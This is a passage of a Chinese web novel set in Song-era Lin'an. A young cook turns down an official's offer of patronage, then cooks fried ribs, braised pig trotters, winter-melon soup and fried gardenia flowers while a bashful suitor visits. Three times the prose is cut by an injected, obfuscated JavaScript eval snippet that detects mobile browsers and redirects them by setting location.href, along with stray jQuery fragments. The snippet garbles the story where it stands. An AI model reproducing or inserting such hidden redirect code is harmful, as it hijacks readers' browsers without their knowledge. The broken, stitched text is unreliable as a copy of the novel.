满满心里的弦绷紧了，他曾经的处处施于援手，原来都是等今天的这一步。从前便应该懂得这个道理，可是偏偏愿意沉醉其中，并不面对，直到今日，她还有什么不明白的。 晁素臣不再言语，半晌，满满没听到声音，抬起头悄悄看他，只见他眉头微皱，眼睛眯着，手杵着头斜倚在桌上。 “姝嘉......过来帮我按按头吧。” 25. 粉煎骨头 堂外传来稀稀疏疏的雨声，梅雨季节，雨水一阵连着一阵，穿堂风吹过，送来地面蒸腾出的泥土气息。 满满心里有些不愿，纵然她在外抛头露面惯了，但始终是个未出阁的女子。但晁素臣双眼紧闭，并未看见她脸上的纠结。半晌，她见他实在难受得紧，轻轻呼出一口气，如同从前在宫中一般，不自觉地敛住了呼吸，小步轻声上前，一双素白的纤纤长指落在他眼睛两侧，一下又一下打着圈揉起来。 她起初瞧着小桌上的茶盏，慢慢地，眼神不自觉地朝上移动，落到他撑着头的手臂上，落到他指节上的茧子上，又落到他微微舒展的眉心间。 正恍神呢，他冷不丁地开口： “你从前也常帮人按跷吗？” 她从神游中被打断，浑身猛地一跳，顿觉有些羞愧，连忙道： “随便学了些皮毛罢了，从前有位老嬷嬷，素有头疾，那时候在宫中人微言轻，命如草荠，但凡有一点向上爬的机会都想抓住，便也学了一些小法子来讨好嬷嬷。” 他依旧阖眼，不过唇边溢出一声短促的轻笑，手指轻轻点了点：“吓到了？在走神？” 她从前能言善辩，到了他面前却突然有些嘴笨，只能慌忙找补：“我年纪小，心思也活络，难免分神......” 他低低喃喃：“难怪，原是嫌弃我老了。” 雨水打在窗户上，又顺着滴滴答答地流下，衬着他微微落寞的声音。 满满立刻辩解：“我没有......”又立刻止住，忍不住有些羞恼，一瞬不察，便已经落入了这只老狐狸的陷阱。 她手头的动作停下，手指也悬空，像是在用行动宣示她的抗拒。 他睁开眼，微微挑眉，眼里带着沉溺却又冷静的光芒：“嬷嬷能给你的好处，我全都能给你，嬷嬷不能给你的，我也能给你。无论是你的野心，你的欲望，你的执念，我都可以拱手相送。” “姝嘉。”他再一次轻轻唤她，虽然爹爹给她取了这个名字，但从未有人这么叫过，偏偏在他口中念出来，如同山泉静静流过清凉的岩石，清冽而沉静。 “你应该明白，好风凭借力，从不是什么羞耻的事，我也并不是愿意给任何人这样的机会。” 她心头一动，有一种被看穿的错愕。她对上他的眼，他微微偏头，似乎在赏玩她的举动，似乎在说，我早就看透了你，但是来吧，你要的，我都可以给你。 “很有诱惑力，是吗？”他轻而慢地开口，毫不避讳地打量她，身上传来令人镇定的熏香。 她没由来的生出一丝羞恼，仿佛她得到了他抛出的金枝，就应该感恩戴德地接住一般，但这股愤怒刚刚冒头，却又凄凉地被浇灭。 她收回手，也许心头怀了一丝期待，拙劣地试探道：“您如此慷慨，那——” “我想要的体面，名分，您给得起吗？” 他晦涩不明地看着她：“姝嘉，你太贪心了。” 心里随后一丝火焰被浇灭，她慌忙留下一句：“草民日日受生计所累，比不得贵人高枕无忧，我先回去了。” * 出了衙门，一路往铺子里走。 雨势已经很小了，只有疏忽几点细细的雨丝，整个街道都是被洗刷过的面貌，沿街的树色翠色欲滴。潮湿温热的风吹来，鼓鼓涨涨，昏昏沉沉的脑子也开始清醒。 先前的一切仿佛是一个荒诞的梦境，她也是昏了头，才当真考虑了晁素臣的话。如今冷静下来，才有一种劫后余生的感觉。他对她的好，随时可以收回，她对他而言，不过是一个可有可无的玩物，喜欢时便溺爱宠幸，腻了便任由自生自灭。但她对他的依赖，却是由俭入奢易，由奢入俭难，一旦昏了头，被这似乎唾手可得的荣华迷了眼，便再也摘不出来。 想到这，她更觉得愤怒。愤怒他对她的俯视，愤怒他对她不怀好意的纵容和引诱，更愤怒自己不坚定的意志，摇摆的情欲，和卑微贫贱的处境。 到了铺子门口，只见两人站在门前，此时已经歇业，只是稍稍留了一条小小的门缝。走近一看，原来是薛以安和阿牛。 二人见到她，似乎都是松了一口气的模样。尤其是阿牛，立刻冲上来大喊道： “袁小娘子，你可算回来了！” 满满问：“你们是在等我？”又了然地笑道：“可是肚子饿了？” 阿牛正要说什么，薛以安立刻慌忙给了他一个眼色：“阿牛！”转头又克制地对满满道：“今日来的有些迟了，既然已经歇业了，就不叨扰了。” 满满摇了摇头，且不说薛家都是她的贵客，便冲着先前薛以安处处帮忙，自己都得为他开个小灶：“无碍无碍，今日本就是因为有些事耽误了才早早歇业，你们想吃些什么？快进来坐！” 薛以安有些犹豫道：“我们就不叨扰了，小娘子这么晚才回来，先歇息吧，我们明日再来便是了。” 阿牛在一旁掩饰不住地苦闷，有些哀愁地咽了咽口水，满满笑道：“无事，我自己吃也是吃，都是要做的，就留下来吃个便饭吧。” 阿牛立刻附和：“对呀郎君，就留下来吃个便饭吧！” 满满也笑着看向他，薛以安脸色绯红，慢吞吞道：“都怪阿牛这家伙嘴馋......那就辛苦小娘子了，有什么就吃什么，不必大费周章。” 进了门，兰嫂子眼尖，早就看到三人并肩而行，立刻揪着袁大哥站起来：“满满啊，我和你爹与吴嫂子说好了上她家吃酒去......”又转过头，一副惊讶的样子： “哟，这不是薛小官人吗？真是说来惭愧，这吴嫂子与我们说了好多次了，实在不好推拒......” 薛以安立刻作揖：“大娘说笑了，原是我多有叨扰，您二位尽管去，不必顾及我。” 兰嫂子连忙道：“行，那满满就好好招待二位，别怠慢了贵客！”还朝满满挤了挤眼睛。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378670|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 袁大哥也和蔼笑道：“二位好吃好喝，招待不周，多多海涵！” 满满又怎会不知他们心中所想，颇为无奈地瞪了兰嫂子一眼：“知道了。” 满满一面拎起青竹筐里两扇鲜肋排，一面招呼二人：“你们从前只吃羊肉罢？羊肉价贵，若不是客人点名要，我们自己很少买的，今日刚好剩了些猪肉，我用新鲜法子做给你们吃，一点也不腥臊，如何？” 薛以安点点头：“小娘子做什么都行，我们都吃的。”阿牛也连连点头：“吃的吃的，我不忌猪肉！” 二人眼睛盯着满满，只见她用襻膊熟练挽起袖子，在小小灶台上有如上了战场，动作行云流水，毫不含糊。满满一回头，他们又立刻低头，装作认真等待的模样，她心里忍不住觉得好笑：“好奇的话就过来看便是，反正也不忙，不碍事的。” 薛以安又是一番推辞，最终在阿牛半拖半拽下颇为矜持地走进了小灶房。 只见满满拎起砍刀，刀背轻敲骨节，这刀是熟铁打的，刃口磨得薄，贴着肋条游走，软骨应声而断。寸段排骨浸入刚打起来的井水，又掺半碗隔夜淘米水，这样方能洗的更干净，只见骨缝里，淤血打着旋儿浮上来。 灶上支起双耳铁锅，满满掐两指头粗盐，裹着花椒粒在热锅里炒得噼啪响，油香在屋里炸出来。把姜块在石臼里捣成茸，连汁带渣抹在沥干的排骨上。又取出黄酒，倒半盏浇透骨肉，手指头蘸盐粒细细揉进每道肌理。青石压着陶盆腌上，等半个时辰，腥臊气早被酒盐逼得干净。 这一道“粉煎骨头”，最妙便在排骨外裹着的一层“粉”，取一粗陶钵，倒进晚稻米粉，掺半勺茱萸末。腌透的排骨滚进米粉堆，满满双手抄起骨头颠簸，米粉子簌簌钻进肉丝缝隙，裹得匀称似落层薄雪。竹笊篱捞起抖三抖，多沾的粉粒子筛回钵里。 铁锅里烧得通红，倒入白油，油香渐渐化开，冒出不少油星子，起了些许油烟，满满指尖弹粒米粉试油温，米粉子"滋啦"绽成白花。排骨贴着锅边滑下去，油面顿时腾起金边，肉香混着椒盐香冒上来，一旁的两人都咽了咽口水。满满得意眨了眨眼，手头加快，竹筷翻面，两面煎出浅黄硬壳，捞起沥在竹筛上。 待油温回落些，排骨复下锅炆炸。这回油花温吞吞地舔着骨肉，米粉壳渐渐鼓胀成琥珀色。满满抄起铜勺敲排骨，声如碎玉便是成了。最后撒把炒熟的芝麻，混着炸酥的姜粒花椒，热腾腾堆在白瓷盘里。 见二人已经眼睛都直了，满满索性用竹刀划开块肋条，米粉壳脆生生裂开，露出里头红玉似的嫩肉，热气带着酒香直往上涌。油珠子顺着骨节往下滴，在瓷盘底积成半汪金泉。 “尝一尝？” 二人各夹起一块送入口中，刚刚入口，便是酥酥脆脆的壳，轻轻一咬，立刻化开，带着椒盐干脆的香味，而后便是嫩而软烂的肉，浸满了油汁和酱汁，又弹又嫩含在口中，还带着一丝醇厚酒香，回味无穷。 26. 煨蹄花，水芝汤 客人吃的香，便是调羹之人最大的满足。满满看二人把一小块排骨啃了又啃，肉吃完了还念念不忘吮吸着骨头上的汁水和香味，眼睛也忍不住一弯： “你们先去吃着这碗排骨吧，我这边很快了，给你们再做两个下饭的。” 阿牛立刻拍手叫好，薛以安却瞪了他一眼：“主人家都没吃上还忙活着呢，哪有客人就已经大快朵颐的道理，我们等着小娘子一起吃。” 满满心里稍暖，他虽然看上去温润谦和，但认定的事却意外地固执，虽然自己也不必他们等，想吃再做便是，但既然他开了口，便随他去。 “行，我再炖一个蹄花，煮一碗水芝汤。” 满满拣两只黑毛猪前蹄，刀刃倒握，沿蹄缝旋三圈，镊尖挑净褶皱里的短毛。倒半碗秋酿黄酒，浸着猪蹄揉搓两刻钟，腥气混着酒气蒸腾起来。 满满被熏的忍不住皱了皱眉，却依旧向二人笑道：“不碍事，待会腌一腌，味道便不重了，不难吃的。” 薛以安笑着点头，看向她的眼神却有一丝隐隐的担心：“小娘子，我来帮你吧，可有什么我能做的？” 说实在的，在满满看来，他来帮她不过是添乱，不如自己麻麻利利做完，但心里知道他好心，便道：“那就帮我从井里打一桶水吧。” 他虽然身量比满满高出一个头，却娇生惯养惯了，看他笨手笨脚地走到水井旁，阿牛在一旁满眼放光地指挥着，终于是磕磕绊绊地把水打了上来。 “小娘子真厉害，也真是不容易。” 薛以安颇为羞愧，最终憋出这样一句。 满满摇着头笑道:“早就已经做习惯了，你要是多做，你也觉得容易。” 他暗暗记下。 铁锅坐三瓢井水，蹄子冷水入锅，扔把干橘皮。水面初沸，开始泛出青灰色的浮沫，此时用竹笊篱贴着锅沿旋几圈，絮状秽物尽数捞净。焯透的猪蹄皮肉紧绷，泛着熟宣纸般的淡黄色。 满满在砂铫底垫层老姜片，把处理好的猪蹄丢进去。山药削成块，浸在淡盐水里防黑，沥干了塞进猪蹄间的缝里，更能入味。 倒一瓢水，水齐食材三指高便可，灶膛先添松柴猛火催沸，待汤面滚起细细的泡，改换木疙瘩文火细煨。 趁这个空当，煮一碗“水芝汤”，即冬瓜汤。蹄花汤终究有些粘稠，此时来一碗清而不稠的冬瓜汤解解腻正好。 青皮冬瓜一只，刀刃贴着瓜棱削皮，留半指宽青翠在白玉般的瓤上。 砧板洒上薄盐，冬瓜卧着，用快刀旋成蝉翼般的薄片，这一步极其考验掌勺之人的刀功，满满微微弯腰，眼都不眨便快速切好，两人看得目瞪口呆。 三瓢井水倒进木盆里，瓜片浸冷水镇一镇，棱角越发挺括。 满满左手托钵，瓜片叠成鱼鳞状，青白交错的弧线贴着陶壁蜿蜒而上。注水淹过瓜片两指高，猛火催沸即撤，而后单留块木疙瘩文火煨着。汤面将滚未滚时，浮沫似春溪落英，竹勺撇得勤快，汤色渐如琉璃般澄澈。 后院里前些日子兰嫂子种了些薄荷叶，此时掐下来，还是带着露水的。满满指腹揉搓叶背绒毛，搁石臼里舂两下。 待冬瓜片在水里飘飘浮浮，最终由玉白转作半透明，抓把薄荷叶子匀匀洒进汤吊子，整个汤汁便带了一股薄荷的鲜味。 薄荷汁淋进汤里，就像像滴了雨前茶，满灶台腾起清凉气。铜勺在汤里转一转，瓜片随着旋涡舒展，薄荷香钻进冬瓜的脉络里。 火候到了，即刻离灶，此时汤鲜美却不浓稠，正正好。 满满并不直接舀出来，而是用滚水烫热粗陶碗，捞起的瓜片带着颤巍巍的汤水，放进碗里也不容易凉。 这时，蹄花也快煨好了。满满掐着时辰揭盖，撇去浮油存进油盏里。拿出先前熬好的酱色膏子，混着新焙的花椒粒撒进去。汤色渐浓，越来越粘稠，最终接近琥珀色，山药块也吸饱了胶质，棱角变得圆润如鹅卵石。 过了一会，添最后一把火，砂铫沿滚着细密的水泡，轻轻揭盖，香味便猛地逸散出来，浓浓的肉香。满满取了竹筷，一戳蹄尖，软糯不散，接触到筷尖时，一坨肉在骨头上轻轻晃动，弹弹的，像是在晃动的水面。熟宣纸一般黄色的皮裹着透明的胶，还带着一点肉的红。 她轻轻一用劲，骨节一掰便脱开。山药裹着晶亮汤汁，糯白里透出酱色纹路，像浸了蜜的羊脂玉。 起锅前浇半勺陈酿，酒香激出肉香，她并不好酒，却好在菜里掺酒，吃肉时能闻到酒香，美而不醉，人间享受。 三道菜摆上了桌。 满满舀了三碗米饭，颗粒饱满，蒸的软而不粘，正好下饭吃。 见二人局促，满满笑着坐下，连连招呼:“快来吃饭吧，先趁热吃，不必拘束。” 只见她也不客气了，端起面前的一只碗，便开始大快朵颐。她的动作并不大，吃菜都是极为矜持的，但速度却不慢，只觉得她吃的认真细致，却一转眼，三块排骨，半个蹄子已经吃的只剩骨头了。 二人不由得咽了咽口水，也不再扭捏，连忙吃起来。 排骨的酥脆焦香已经不用赘述。 猪蹄颤巍巍叠在粗陶钵里，皮肉抖落时带起黏连的银丝。山药块卧在浓汤中，边缘凝着半透明的胶冻，热气裹着荤香，让人仅仅一看，便觉得肚子饿得不行。吃在口中，更是软软烂烂地包裹在舌齿间，鲜而不咸。 一口饭一口蹄花，再用小勺舀一勺蹄花汤，便是又一口饭。 一碗饭尽，只见满满又盛了一碗水芝汤。 荷碎撒在汤面，像春萍浮在浅溪上。喝时先抿口清汤，混着瓜肉清甜，带着点薄荷的锐，激得舌根生津。瓜片咬下脆中带糯，青皮嚼着竟有嫩芹香。 见此，二人纷纷效仿，没过多久，桌上只剩六个空空的碗。 吃饱饭足，阿牛满意地摸着肚子，憨憨笑道: “我从未吃过这么香的饭，今天真是沾了小娘子的光，美食真是人间享受！郎君都从未吃过这么多呢！” 满满听了，有人认可自己厨艺，心里自然也开心，看了一眼薛以安，只见他红着脸，连连否认: “没有，阿牛胡说！”又后知后觉，连忙脸色一囧，补充道:“我是说……小娘子厨艺非同一般！但我……我……” 正在这时，他突然皱了皱眉，下一秒，有些慌乱无措地打了个嗝。 见他这样，另外两人都不约而同笑起来。尤其是阿牛，堪称捧腹大笑，笑得直不起腰，还连连叫唤: “哎哟！吃撑了！笑得疼死我了！” 薛以安只觉得羞恼，皱着眉瞪着阿牛，阿牛却浑不在意，只把满满当做挡箭牌。他心里又慌又羞，小心翼翼抬头瞥了一眼满满，只见她眉眼弯弯，温温柔柔地看着他，见他看过来，还调皮地眨了眨眼: “看来我手艺确实不错嘛！不过，下次还是克制一下，别吃太多，否则不好克化。” 他顿时没这么羞愧，心里还生出一丝异样的喜悦，终于有些不好意思地笑了笑。 满满却突然冷不丁地问:“饭也吃完了，所以二位今日到底为何而来？” 她虽然与他相识不久，但惯常自信有一双看穿人的眼睛，尤其是这位薛小官人，涉世未深，懵懵懂懂，便知他的性子。若是当真是为了吃饭而来，绝不会挑在这个往常已经歇业的时候，她的直觉告诉她，他绝不会给她添任何麻烦，即便她其实并不介意。 他沉默片刻，终于敌不过她沉沉的视线，吞吞吐吐道: “我听人说，你被叫去衙门了。心里放心不下，便过来看看。” 满满心里一跳，原来如此，他出身官宦世家，要是知道这些消息也并不奇怪。不过下一秒，却又有些生气，一个他，一个晁素臣，为何偏偏去在意她一个平头百姓的生活？这让她觉得自己不过如同一只蝼蚁，只要对方愿意，便可以知道关于她的一切，而她却无力反驳，只能听之任之。 大约也有仗着他平日总对她的好脾气的缘故吧，她也不再顾忌，索性冷笑回道: “托您的福，我命大，没什么事，您也不必如此挂心我，毕竟我就贱命一条，没有什么值得记挂的。” 他一愣，却似乎并没听出她话里讥讽，反而依旧温声诚恳道: “小娘子这是说的哪里话？你心地善良，待人宽厚，自然善有善报， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393685|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚德载物。但凡和你来往过的人，便知道你心肠之好，为人之热心，又怎能不记挂？” 这下，倒是换的满满愣住了。 她？心地善良？待人宽厚？ 一路回来，她都在脑子里不停幻想如何彻彻底底地惩治菊嫂子一番，以及待她有朝一日得势，定也要拔下这提举大人一层皮，好让他知道，虽然她只是一个女子，一个百姓，兔子急了也是会咬人的。 满满用看傻子一般的眼神看着薛以安，心里有些愧疚和无奈。 明明她大可以认下，既然贵客认为她如此之好，那便说明她往日所做一切成效显著。 但她却鬼使神差地解释:“也许……我没有你想象的这么好呢？我冒雨去给府上夫人送膳，还是我日日招徕你来我摊子上吃点心，其实……我都不过是为了多赚几个银子。” 薛以安露出一副无辜的表情，但想了想，却有些固执地皱了皱眉: “我没有这么傻，我知道你是为了赚钱，但是我也知道，你是一个好人，一个……聪明的好人。” 满满心头生出一丝气恼，有些着急地争辩: “恕我直言，小官人，你并不了解我，你永远不可能了解我！你出生在锦绣堆里，冬日里冷了有银丝炭，夏日里热了有冰鉴镇着酸梅汤，围在你身边的也都是同你一样的贵人。就在前儿，城南米铺的陈老板给流民施粥，你当他是菩萨转世？不过是为着官府减他三成税银罢了。这世道，你以为的好意，不过是为了你多买他几匹缎子，听着甜蜜，实则掺的都是砒霜！我……我也一样！” 薛以安却并不急眼，依旧温声慢慢道:“也许我并不明白旁人的处境，但是我也知道，要瞧出一个人的本性，并不该看他如何对比他强的人，而是要看他如何对比他弱的人。” “小娘子的铺子，做的并不是普通百姓的生意，他们多半负担不起这里菜品的价格。但是你却依旧日复一日让往北七个铺子孤儿庵里的孩童发小报，可这青天白日之下，在外面游走的哪里有小娘子的东家呢？你这样做，是为了给那些孩童吃食，是也不是？” 满满咬了咬牙，回道:“那些饼子做的太多了，丢了也是可惜！反正把单子发出去了，我就是想要整个临安都知道，御街后边还有这样一家铺子！” “好。那我再问。你上次冒雨来送膳，明明那时候已经招了两个帮工，既然下了雨，在街上找不到闲汉，为何不遣两个帮工来送？” “因为我没见过什么世面，既然有去大户人家的机会，我当然不能放过。府上夫人仅仅是随便一赏，我便得了一个金叶子，这样的好事，我当然要去！要是还有下次，我也是要去！” “那昨日呢？昨日在画舫上，你知道了萧云之事，旁人都憎恶她，害怕她，远离她，可你明明不了解她，你却立刻为了她反驳从前讨好的人，你明明不知道她到底发生了什么，你却已经决定站在她的一边，难道不是么？”连他自己都没意识到，他说这话时，竟然已经全然没有平日温吞的模样，甚至带有一丝酸涩的不甘。 “还是一样的话，阿云干事利索，为人聪明本分，有她在，我少操不少心，我留下她，我站在她的一边，不是理所应当之事？” 她下意识地反驳，每每他尚未停下，她反击的话语便已经抵达。只顾着利利落落地说完，惯常戴着一张笑吟吟的面具，今日倒是豁出去，已经不知如何收场。心里倒是有种得胜的畅快了，但说出去的话，泼出去的水，有几分真假，便连自己都分辨不清。 薛以安阴沉着脸，低下头，有些无奈地喃喃: “我说不过你，可我心里晓得，你便是一个顶顶好，顶顶善良的人，任你怎么说，我都不会变。” 若是前面，满满一张七寸不烂之口大可以把黑的说成白的，但现下，他摆出这样一副态度，却是让她恍然了，心里似乎被什么击中，软软地包裹着，忍不住想要反驳，却如同一拳打在棉花上。 最终只能又气又急，索性恼怒问道: “你……你是不是中意我？怎么说你都听不进呢？” 这话说完，只见他脸色一变，从原来的惨白落寞一下涨成红色。 27. 薝卜煎 一旁的阿牛猛地吸了一口气，然后用一种神秘莫测的眼神悄悄瞥了薛以安一眼，立刻蒙上眼睛，从椅子上跳起来： “我......我先出去！你们......你们慢慢聊！” 薛以安愣了半晌，终于慢慢回答：“我......我不知，我只是，”他低下头，眼睛只敢盯着满满的鞋尖，耳垂红的几乎如同快要滴血，“我只是......” 他实在说不下去，只见他慌忙站起，身后的椅子也被撞翻，他又立刻慌张去扶起。 “我......我家中还有事，便不叨扰了。” 话音刚落，便随着阿牛慌忙离开。 一切都在一瞬间，只剩下满满目瞪口呆。 他.......不会当真中意自己吧？满满心里酸酸涩涩，竟有些说不出的莫名滋味。半晌，才把这异样的思绪敛下心头，突然惊觉—— 喂，还没付钱呢！不过，既然从前他帮过她许多，请他白吃一顿，倒也是使得的。 * 阿牛刚刚在柳树下站定，拍了拍胸脯，此时正有鸟啼阵阵，晚风也多情，吹得柳条妖妖娆娆，绵绵软软。阿牛嘴角勾出满意的笑，暗暗赞叹自己颇有眼力，月色旖旎，雀声阵阵，连鸟儿也发情意动，更别说自家貌比潘安，情窦初开的郎君了。 正当他嘴里叼了一根柳条，找了个台阶坐下，估摸着在此处可是一番好等了，却见自家郎君半是羞恼半是沮丧地快步而出。 他连忙跟上，只见郎君脸色羞红，脚下生风，只顾埋头向前走，阿牛心里疑惑，却也是敛气屏息，不敢开口问半字。 走了好一会，只见薛以安突然停下，阿牛连忙急急停下来，却走的太急，差点摔了一个狗爬。薛以安见他这副样子，有些恨铁不成钢地暗暗叹气，阿牛也不好意思地挠挠头，点头哈腰道： “郎君，怎的突然不走了，可是有什么吩咐？” 薛以安咬了咬唇，片刻，径自在柳树旁坐下，抬头看了看月亮，问道：“阿牛，你说，如何确定自己的心意？” 阿牛一听，嘴角了然一笑。看来，是郎君年幼，尚未开情窍，被小娘子一点，这才失了分寸。虽然他也并未有过红鸾之事，但没吃过猪肉，他阿牛街头巷尾长大，不管是说书的、还是卖话本子的，都是他的老相熟了，他还没见过猪跑吗？ 阿牛弯着腰，眼睛斜斜觑着郎君的神色，循循善诱道：“若是一个男子中意一个女子，那定然是行也思君，坐也思君，整日想见她，想同她待在一块。见不到她时，脑子里也都是她，见到了她，便再也不想和她分开。” 只见郎君若有所思，嘴角微微弯起，却又突然想到什么，蹙眉道：“可纵然我如此想，可这终究不是长久之道。所谓‘两情若是久长时，又岂在朝朝暮暮’，阿牛，我总觉着，你所言，并非君子之道。” 阿牛眉心一跳，清了清嗓子，又道："若是一个男子中意一个女子，那自然是想要八抬大轿，张灯结彩地把她迎进门，从此永结连理，便再不分离，也不失为君子之道。" 他掀了掀眼皮，这下，郎君总该懂得了吧？ 只见郎君的神色反而更加愁了，喃喃道：“可是如同她一般的女子，定然不愿被囿于深宅之中。” 阿牛扯了扯嘴角，正愁该如何回答，只见郎君站起，冷冷丢下一句： “罢了，想必，她也不曾对我有意。” * 第二日一早，满满捧了一篮子吴嫂子那得来的鲜花进门。今日一起来，兰嫂子便一个劲撺掇她去吴嫂子铺子里走一遭，满满一头雾水，但经不住兰嫂子唠叨，到了吴嫂子铺子里，今日吴嫂子格外好心，各类花束都采了几朵新鲜的，还贴心地拿了篮子给满满装上，吩咐她： “年轻姑娘哪有不爱俊的？拿回去插在头上多好看。” 满满回到了铺子里，只见阿云已经在洒扫屋子了。满满见她面色有些憔悴，像是没有休息好的样子，走了过去，把一筐子花往她面前一送： “喏，吴嫂子送我的，让我拿来簪花呢，新鲜着呢，我一个人哪要这么多，你来挑几朵吧。” 阿云捏紧了手，回道：“不必了，小娘子人长得俊，留着自己戴吧。再不然，拿来做菜也是极好的，别被我糟蹋了。” 满满摇头道：“这么几朵花，最多做一盘，我还嫌不够麻烦的呢，你别客气，昨日夜里没歇息好吧？那花衬一衬，气色也更好呀！” 见推辞不过，阿云伸出手，犹豫了片刻，最终选了一朵最小的薝卜花（即如今的栀子花）。 “多谢小娘子，我便拿这个吧。” 满满挑了挑眉，只见阿云手里捏着那朵小小的白花，目光低垂，不知在想些什么，她索性伸手在篮子里拿了一朵最大最好的薝卜花，抬起手，笑着插在阿云头上。 阿云一惊，抬起头，恰是这一瞬间，她白皙而坚韧地面庞半遮在薝卜花下，透出一股浑然天成的婉约媚骨。 满满啧了啧，笑道：“大家快来瞧，梅梅戴这花多好看呐，当真是人比花娇。” 兰嫂子从里屋走出来，见到阿云这副含羞带怯的模样，也是好一通夸赞。春燕也从灶房里出来，看着阿云，没有不溢美的。 在众人的赞赏下，阿云脸颊烧起淡淡红晕，更添了几分好气色。 满满拐了拐春燕：“春燕姐，你也来拿几朵，回家给妹妹插！对了，我看这朵奈花便很适合你，你也试试？” 春燕有些受宠若惊地摇摇头：“小娘子莫要说笑了，我这一把年纪了，还戴这些做甚！” 满满看着兰嫂子，挪瑜道：“这有什么，年纪大了也可以俊呀，我娘便戴呢，要不成日往吴嫂子铺子里跑呢。” 兰嫂子眼神有些闪烁，伸手弹了满满一下，笑道：“这浑丫头！整日里不知个轻重的，戴便戴了，老了也是一枝花！”说罢，各挑了几朵花替自己和春燕戴上。 一群人笑作一团，不在话下。 * 另一头，阿云却是把这件事放在了心上。 待忙过了早上这一阵，大家正闲适地歇着午觉，她兀自出了铺子，到前边的“鲜明花肆”买了好些薝卜花。满满虽嫌弃用花入菜麻烦，但这薝卜花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411384|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是本朝人食用的心头之好。 阿云掐了半竹篓薝卜花，专挑未绽的骨朵。指尖一捻，花蒂脆生生断开，白瓣子裹着淡青芯子滚进木盆。用井水浸三遍，捞起沥在竹箕上，水珠子顺着缝隙滴答落，白瓣子干干净净，清清爽爽。 她烧起火，灶上烧滚一锅水，撒半钱明矾，用漏勺装着花骨朵，焯十息便起，如此方可去涩，若是久煮，反而花的香气就散了。 抹干净了案板，放上粳米粉两勺、糯米粉一勺，兑甘草水调成稠浆，最后撒三勺盐星子。阿云手腕转得快，木箸搅出了细细的漩涡，面糊渐渐泛起蜜色光泽，变得顺滑细腻。 正在此时，花骨朵往浆里一滚，指腹轻按，让每道褶皱都吃透汁水。 菜籽油下铁锅，趁着青烟未起，油温尚不滚烫，立刻投花。 只见阿云手执长竹筷，一朵朵贴着锅边滑进去。油花细碎绽开，白瓣子浮沉如月牙舟，面衣渐成淡淡的琥珀色，就如同在花瓣外边裹了一层壳似的。铁铲一翻，噼啪声里漫出草木清气，混着热油焦香，香的人眉毛一挑。 待火候差不多了，阿云捞起花饼，搁在铁丝网上控油，而后另取小石臼，捣碎晒干的紫苏籽。 炸物要趁烫吃，指尖捏着花蒂一提，酥壳簌簌落金屑，露出里头莹白玉瓣。咬破面衣时咔嚓脆响，甘草回甘裹着花汁涌上来，竟缓缓泛出蜜水似的清甜，在口中回味悠长。 其实阿云这花煎的好，还在于满满曾手把手教过她如何煎炸此类面糊的炸物。 其中一个要点便是在面糊稀稠：太稠则硬如盔甲，太稀裹不住花香。若是眼睛看不准，拿一双竹筷，提起能挂帘，断线时落在碗沿，大抵能成三叠浪，便是正好。 油温更考究，大可拿片姜试，沉底慢浮者为六成热，此时下花最酥透。 末了，阿云把花饼装盘，又撒紫苏盐，青石臼里刚舂的粗粒沾在裂纹上，咸味衬得花香更浓。一碟搁在粗陶盘里，白瓣金衣碧盐屑，比真花更惹眼，比真花更酥脆，却又不失清甜，真真好味道。 阿云时候把握地正好，估摸着满满要从里屋出来了，便在方桌上摆上刚炸好的“薝卜煎”，又在一旁放上清茶，正好吃完可以漱漱口，又不至于太干巴。这茶也是用陈年的桂花冲的，味道刚好，微苦却又回甘。 做完这些，她心中忐忑，站到灶房里收拾着。耳朵却立了起来，只听满满走了出来，并未听见任何话语声。 下一瞬，薝卜花在口中被咬开，清清脆脆，好不痛快，阿云有些期待地朝外一看，只见满满也看过来，对她笑了笑，又回过头，装作什么也不知道。 在过了好一会，只见满满把空了的盘子送进来，一面说： “也不知是谁这么好心肠，有耐心一块块煎，到便宜了我这个嘴馋的。” 阿云并不言语，只是接过她递过来的盘子，心里似乎有暖流涌出。 正在此时，兰嫂子站在门口，朝满满招了招手，神秘兮兮的模样。 待满满走过去，附耳道： “吴嫂子为你相看了一户好人家，今日去见见？” 28. 樱桃煎 满满心里一跳，连忙把兰嫂子拉到一旁坐下： “啊？娘......你说什么呀？” 兰嫂子挤了挤眼睛：“你不说和上次那小官人没有关系嘛。当年村里找不到适合的郎君，才把你送进宫里，如今好不容易出来了，再不能耽误了。” 满满心里苦涩，连连摇头：“我这铺子里每天都快忙上天了，哪有功夫想这遭子的事......” 兰嫂子摆出一副满满不答应便不罢休的样子：“满满，虽说我和你爹是全力支持你的生意的，但女子最最要紧的事自然还是婚姻。原想着顺其自然，总也会遇到，但我看你心思压根没放在这事上。你不操心，娘能不为你操心吗？” 